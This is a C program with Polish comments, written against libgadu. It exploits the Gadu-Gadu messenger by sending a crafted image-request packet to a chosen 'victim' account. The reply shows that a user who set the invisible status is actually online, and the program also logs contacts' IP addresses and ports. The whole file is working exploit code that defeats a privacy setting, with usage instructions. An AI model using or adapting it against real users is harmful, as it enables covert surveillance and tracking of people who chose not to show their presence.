/*
 * Wykrywanie niewidzialnosci w Gadu-Gadu
 * Maciej Soltysiak <maciej@soltysiak.com>
 * 
 * Program wymaga libgadu
 *
 * compile:
 * gcc -o gadu gadu.c -lgadu
 * Jak buczy o ssl to dodaj -lssl
 *
 * use:
 * ./gadu <uin> <haslo> <ofiara>
 *
 * Wymagania:
 * - ofiara musi miec uin w kontaktach
 * - ofiara musi obslugiwac wiadomosci obrazkowe (miec limit rozmiaru > 0)
 *
 * Jesli chcesz zastosowac te metode w swoim programie pamietaj, ze
 * jest to kod dystrybuowany na licencji:
 * Creative Commons Uznanie autorstwa-Na tych samych warunkach 2.0 
 * http://creativecommons.org/licenses/by-sa/2.0/pl/
 *
 * Nie pytaj mnie jak to skompilowac pod windows!
 * ctrl+c przerywa program, wylogowujac sie ladnie.
 *
 * Program uzywa do logowania rozszerzenia GNU vasprintf() jak Ci
 * to nie pasuje przepisz kod. Ja bylem leniwy.
 *
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <libgadu.h>
#include <signal.h>
#include <stdlib.h>

static inline void log_simple(const char *txt)
{
	fprintf(stderr, "%s\n", txt);
}

void log_string(const char *fmt, ...)
{
	char *buf;
	va_list args;
	int n;
	
	va_start(args, fmt);
	n = vasprintf(&buf, fmt, args);
	va_end(args);

	if (n >= 0)
	{
		if (fprintf(stderr, "%s\n", buf) < 0)
			log_simple("log_string: fprintf returned an error");
		free(buf);
	}
	else
		log_simple("log_string: vasprintf failed");

	return;
}


/* Global Gadu-Gadu handle */
struct gg_session *gadu_sess = NULL;

#define GG_CONN_TIMEOUT	10


static inline void gadu_disconnect(void)
{
	if (gadu_sess != NULL)
	{
		log_simple("gadu_disconnect");
		gg_logoff(gadu_sess);
		gg_free_session(gadu_sess);
	}
	exit(EXIT_FAILURE);
}

static void init_signals(void)
{
	struct sigaction sigact;

	sigact.sa_flags = SA_NODEFER;
	sigact.sa_handler = (void *) gadu_disconnect;
	sigemptyset(&sigact.sa_mask);

	sigaction(SIGTERM, &sigact, NULL);
	sigaction(SIGHUP, &sigact, NULL);
	sigaction(SIGQUIT, &sigact, NULL);
	sigaction(SIGINT, &sigact, NULL);
}


static inline void gadu_connect(int uin, char *pass)
{
	struct gg_login_params gadu_p;
	fd_set rd, wd;
	struct gg_event *e;
	struct timeval tv;
	int ret;

	memset(&gadu_p, 0, sizeof(gadu_p));
	gadu_p.uin = uin;
	gadu_p.password = pass;
	gadu_p.async = 1;

	gadu_sess = gg_login(&gadu_p);
	
	for (;;) {
		FD_ZERO(&rd);
		FD_ZERO(&wd);

		if ((gadu_sess->check & GG_CHECK_READ))
			FD_SET(gadu_sess->fd, &rd);
		if ((gadu_sess->check & GG_CHECK_WRITE))
			FD_SET(gadu_sess->fd, &wd);

		tv.tv_sec = GG_CONN_TIMEOUT;
		tv.tv_usec = 0;
		
		ret = select(gadu_sess->fd + 1, &rd, &wd, NULL, &tv);
	
		if (!ret) {
			gadu_disconnect();
		} else {
			if (gadu_sess && (FD_ISSET(gadu_sess->fd, &rd) || FD_ISSET(gadu_sess->fd, &wd))) {
				if (!(e = gg_watch_fd(gadu_sess))) {
					log_simple("gadu_connect: connection lost!");
					gadu_disconnect();
				}
				if (e->type == GG_EVENT_CONN_SUCCESS) {
					log_simple("gadu_connect: success.");
					gg_free_event(e);
					break;
				}
				if (e->type == GG_EVENT_CONN_FAILED) {
					log_simple("gadu_connect: failed.");
					gg_free_event(e);
					gadu_disconnect();
				}
				gg_free_event(e);
			}
		}
	}

	gg_change_status(gadu_sess, GG_STATUS_INVISIBLE);
}

static inline void update_gadu(void)
{
	struct gg_event *e;
	
	if ((e = gg_watch_fd(gadu_sess)))
	{
		switch(e->type)
		{
		case GG_EVENT_IMAGE_REQUEST:
			log_simple("Gosciu jest online!");
			break;
		case GG_EVENT_NOTIFY60:
			log_string("notify: %d %d %d.%d.%d.%d %d %d '%s'\r\n",
				e->event.notify60->uin,
				e->event.notify60->status,
				e->event.notify60->remote_ip & 0xff,
				(e->event.notify60->remote_ip >> 8) & 0xff,
				(e->event.notify60->remote_ip >> 16) & 0xff,
				e->event.notify60->remote_ip >> 24,
				e->event.notify60->remote_port,
				e->event.notify60->version,
				e->event.notify60->descr);
			break;
		case GG_EVENT_STATUS60:
			log_string("status: %d %d %d.%d.%d.%d %d %d '%s'\r\n",
				e->event.status60.uin,
				e->event.status60.status,
				e->event.status60.remote_ip & 0xff,
				(e->event.status60.remote_ip >> 8) & 0xff,
				(e->event.status60.remote_ip >> 16) & 0xff,
				e->event.status60.remote_ip >> 24,
				e->event.status60.remote_port,
				e->event.status60.version,
				e->event.status60.descr);
			break;
		case GG_EVENT_DISCONNECT:
			gadu_disconnect();
		case GG_EVENT_ACK:
			log_string("update_gg: ACK from %d. %d %d\r\n", 
				e->event.ack.recipient,
				e->event.ack.status,
				e->event.ack.seq);
			break;
		}
	}

	gg_free_event(e);
}


int main(int argc, char *argv[])
{
	uin_t v_uin;	/* victim */
	uin_t a_uin;	/* attacker */

	if (argc != 4)
	{
		log_simple("skladnia: gadu <twoj_uin> <twoje_haslo> <uin_ofiary>\n" \
			   "Pamietaj wylogowac sie ze swojegu uina z gadu.");
		return 0;
	}

	if ((a_uin = atoi(argv[1])) <= 0)
	{
		log_simple("Podaj twoj poprawny numer.");
		return 0;
	}
	
	if ((v_uin = atoi(argv[3])) > 0)
	{
		/*
		 * ethereal + tcpdump rzadza !
		 */
		unsigned char code[] = { 0x00, 0x02, 0x0d, 0x00, 0x00, 0x00, 0x80, 0x09, 0x01, 0xaf, 0xa8, 0x00, 0x00, 0x9f, 0xc1, 0xee, 0x84 };

		init_signals();

		gadu_connect(a_uin, argv[2]);

		gg_notify(gadu_sess, &v_uin, sizeof(uin_t));

		gg_send_message_ctcp(gadu_sess, 0x28, v_uin, code, sizeof(code));

		for(;;)
			update_gadu();
	}

	return 0;
}
